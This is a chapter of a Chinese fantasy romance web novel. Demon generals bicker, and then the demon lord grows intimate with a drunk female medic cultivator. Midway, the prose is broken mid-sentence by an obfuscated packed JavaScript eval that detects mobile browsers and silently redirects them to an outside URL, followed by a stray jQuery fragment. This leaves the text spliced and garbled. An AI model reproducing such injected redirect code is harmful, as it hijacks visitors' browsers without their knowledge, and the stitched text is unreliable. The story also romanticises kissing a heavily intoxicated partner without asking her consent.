戚寒川一记眼刀扫向众魔将。
众魔将十分识趣地纷纷噤声,但恰如人虽是群居动物,但往往人群中总会出现那么几个鹤立鸡群的人一样,这群魔中,恰好也有那么一个,脑回路直到堪比万剑山剑修的战争狂人……狂魔。
这魔将身披甲胄,面容刚毅,头顶长角,腰间挂着一把通体漆黑的长刀。
长角魔将一个大步上前,抱拳朗声:“尊上,属下还是觉得您一人迎战十分不妥,若斩穹那个……”
怀中的持盈慢悠悠抬头,似是十分不解眼下都发生了什么。
“你忙……”
戚寒川的眼神瞬间变得更加阴沉可怖。
众魔将当即回神,万分骇然,七手八脚捂着长角魔将的嘴,把他往外拖。
临走前,还帮戚寒川关好了门。
出了门,一身着玄色长衫,手拿折扇的魔将长长舒了一口气,一折扇拍在了长角魔将的头上。
“不要命了你!你看尊上那模样,那女子肯定就是在灵网上让他丢脸的……”
长角魔将却是更急了,连声道:“竟是那个狡猾的正道医修!我正愁找不到此人行踪,不能报仇雪恨!好啊,如今她还敢送上门来……来得正好!看我……嗯?!你们干什么?”
众魔将齐齐制住他,一副恨铁不成钢的模样。
拿扇魔将面色复杂地再敲他几下:“你没听到那医修说要做什么吗?”
“当然听见了!”长角魔将愤愤道,“还敢说什么摸腹肌!岂有此理!我都没摸过尊上的腹肌!”
众魔将表情一瞬呆滞,随即面面相觑,皆尽骇异,齐齐远离长角魔将一步。
“你为什么要摸尊上腹肌?我还以为你小子整日追着尊上只是因为武痴本性……原来你竟然对尊上……!”拿扇魔将一抖折扇,遮住下半张脸,衬得眼中鄙夷更强几分,“难怪你要建什么魔尊夸夸群!你等着,我这就退群!我绝不与你这变态同流合污……”
众魔将也纷纷倒抽凉气,盯着长角魔将的眼神也变得惊惧更甚。
长角魔将却是摸不着头脑。
“摸尊上腹肌怎么了?不亲手摸摸,怎知每一丝魔气是如何在人形中运转的?别退群呀兄弟?你退了我那群可就解散了……”
长角魔将拉住拿扇魔将,连连哀求半晌,才终于让他打消了退群念头。
危机解除,长角魔将长舒一口气,向众魔将抱怨道:“尔等就是对修炼太不放在心上了,凡事不亲身体会,怎会得出确切结论?不对,你刚才为什么说我是变态?”
众魔将齐齐沉默。
大伙开始觉得惭愧。
尤其是他的眼神这般清澈,勾得众魔将难得身为魔还有了羞耻心。
“……好吧,不论那个。”拿扇魔将面色复杂,“我等刚刚可是救了你一命!”
长角魔将不解:“啊?为什么?尊上要杀我?我干什么了!我以前是不服他,但我现在忠心耿耿上刀山下火海……”
拿扇魔将忍无可忍给了长角魔将脑袋一拳。
“尊上因为什么成的尊上,你就全忘了?!当时死了多少兄弟,都是为了那个……!”他似是心有余悸,止住话由,用扇柄抵住长角魔将肩头,推他一把,“你要想进去,就进去吧,到时候被尊上打得渣都不剩,我还省得给你收尸!”
众魔将纷纷露出讳莫如深表情,长角魔将也似乎反应过来什么,咂咂舌,不再说话。
他们讨论得热火朝天,讨论内容的当事人,却是相对无言,双双沉默。
持盈跌坐在戚寒川怀中,头晕脑胀,只觉天旋地转,屋内所有布局摆设似是通了人性,围着她不停转圈儿。
她晕得厉害,却又找不到始作俑者,思来想去,想到这是戚寒川居所,那些摆件,定也是得了他的指引才来烦她,便一把揪住戚寒川衣领,怒喝道:
“不许晃!”
戚寒川身子一僵。
他头一次觉得冤枉。
但是冤枉也没办法,此刻的他就算报官,来的那位青天大老爷也是持盈,更何况,他可甘愿为这场冤枉来上几年牢狱之灾。
戚寒川点点头,熟练地圈住持盈,坐在软榻中,伸手帮她顺气。
片刻后,持盈脸色稍霁,不再皱眉。
戚寒川不放心追问道:“好些了么?”
持盈不答。
自从她觉得不晕了,便直勾勾盯着戚寒川。
饶是戚寒川自诩脸皮甚厚,也还是被她盯到赧然,轻轻别过头。
“你……喝了多少?我只吩咐送去一小坛,依你的酒量……”
他说到一半忽然噤声,心底涌出些不一样的滋味。
重活一世,持盈连酒量也与从前不同了么?
按理说,他送去那一坛,刚好够她与沐卿对酌……
戚寒川伸手探向持盈灵脉,注入灵力后,不禁挑眉。
一整坛……
都被她一个人喝了?
他又觉得释然,轻笑出声。
“难怪。”他贴上持盈脸颊,轻声感叹,“小醉鬼。”
小醉鬼依旧直勾勾看他,这次戚寒川倒是不转头了,他越看越喜欢。
戚寒川执起持盈的手,轻轻搭在自己胸前,又凑到她耳侧,轻声细语。
“不是要来……摸我的腹肌么,怎么,愣着做什么?”
戚寒川感到持盈的呼吸明显加重。
持盈似乎明白了他的话,身子重心一点点放低,头也埋在他的领口,只是手始终不曾用力。
戚寒川心情大好,这种两厢情愿的调情,他已经许久没有感受到了。
魔尊大人得寸进尺,夹起嗓子,凑到持盈耳边,拉长声线:
“害羞了?”
却是话音未落——
持盈:“呕——”
戚寒川瞳孔震颤。
持盈全吐在了他领口。
虽说都是酒液,但……
戚寒川突然感到头痛。
好吧。
他的话,持盈一句都没有听懂。
魔剑掩日在识海内发出桀桀狂笑:
“你看,你自以为是的调情,其实都是小丑!”
戚寒川气极反笑,心念流转,魔剑掩日幻化手中。
剑柄上的眼睛眨了眨,似是不明现状,却是下一个瞬间,忽然被戚寒川丢出老远,剑身落地,发出“咣当”一声,好不凄惨。
掩日开始后悔。
如果它剑柄上的不是眼睛,而是一张嘴,现在就可以大骂戚寒川,搅黄他的好事。
可惜人生没有如果,剑生,也没有。
戚寒川一手抱稳持盈,一手掐诀,给二人同时施了个净尘术,一阵水汽散去,二人洁净如初。
他的长发湿漉漉地粘在额边,手上用力,让持盈贴他更紧。
持盈吐过,又被净尘术洗过,身上是舒服了不少,可因着戚寒川私心,她的酒还没醒,脑内依旧迷迷糊糊地想着……
师娘……叫我来……
摸他的腹肌!
醉鬼说干就干。
左右戚寒川不会反抗。
持盈的手毫无章法解开戚寒川领口,入目的,是苍白得有些过分的身体,漆黑魔纹蜿蜒其上,没有沐卿形容中的薄红。
戚寒川感到脊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021208|193405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柱不受控制地有酥麻蔓延,但他又在心底期待着持盈究竟要做什么,只能将一切忍下,默不作声。
持盈喃喃:“你……”
戚寒川喉结上下滚动,哑声应道:“嗯,怎么?”
他现在倒是不夹了,也不知是因为发现了夹也没用,还是染上了些许心理阴影。
持盈打了个嗝,道:“你好白。”
戚寒川一时无言。
感觉这句话怪怪的。
戚寒川再度抓起她的手,按在自己胸前魔纹上。
“寻常魔族肤色……与我不同,我继任魔尊仪式上,有天雷劈下,他们说……是因为天道发现,我本就有……真魔之血。”
持盈的手无意识地抖了一下,隔着皮肤,似乎带动戚寒川那颗入了魔的心脏一起,颤动不停。
持盈喃喃重复道:“真魔之血……”
戚寒川轻叹一声,持盈感到手下肌肤似乎也有震动。
“嗯,好处……自然是有,不过,这也意味着……或许我天生……就是魔族。
“堕魔后,我修炼速度越发加快……皮肤愈发苍白,眼睛……也变了颜色。”
戚寒川眼眸低垂,他贴近持盈耳侧,低声呵出气音。
“你,会怕这样的我吗?”
戚寒川的心跳得飞快。
他其实不敢听答案。
不论是怕,还是不怕,似乎都在告诉他,你们已经有所不同。
却听持盈反问:
“为什么……要怕?”
戚寒川的手微微一顿,持盈失去制约,更是肆无忌惮地向下探索起来。
心底所有不适都被抚平,戚寒川扬眉,原来所有问题的答案,在对的人面前,根本不必言明。
他没有回答,只微微挺直身子。
手下触感发生变化,持盈醉酒后的注意力本就不集中,此刻更是无可避免被吸引。
“……哇。”
一声真情实感的惊叹呼出,持盈沿着魔纹一路向下,指腹与肌肤摩擦,魔纹生长处,触感滞涩,光洁皮肤处,又饱满结实。
直到她摸到肖想已久的腹肌,那魔纹终于闪烁起了淡淡红光。
持盈脸上一瞬呆滞。
“嗯……?”
戚寒川咬住下唇。
他面颊染红,这次却没有逃避,迎上持盈目光。
“我也是堕魔后才知……魔族兴奋时,魔纹,会发烫发红……”戚寒川试探道,“当时我还想过……可惜没能让你品鉴一番……毕竟,你向来喜欢这样。”
持盈微微蹙眉,似是对他口中自己的喜好感到怀疑:“我喜欢……”
涉及到两世不同,戚寒川总格外敏感,他心底隐秘地怕着持盈说出违背他预期的内容,却也同时期待着,想知道更多关于如今的她的事情。
持盈肯定道:“我喜欢。”
好在,戚寒川的两个愿望,都没有落空。
戚寒川心中一片晴朗,他望着持盈同样红到滴血的耳垂,只觉得心跳快到仿佛要破体而出。
他该询问持盈意见的,但他没有。
他寻着持盈嘴唇,印上亲吻。
好在,持盈没有拒绝。
两相缠绵,唇齿相依,有些横亘在二人之间的问题虽还没有解决,但好在,身体上的习惯,会从沉寂三百年的岁月中复苏。
这次是持盈主动,拉着戚寒川向后倒去。
窗外竹影摇动,风声簌簌,吹乱整夜的影。
于是持盈再睁眼时,一眼便见到了,自己身旁正躺着衣衫不整的戚寒川。
持盈:……
持盈:?!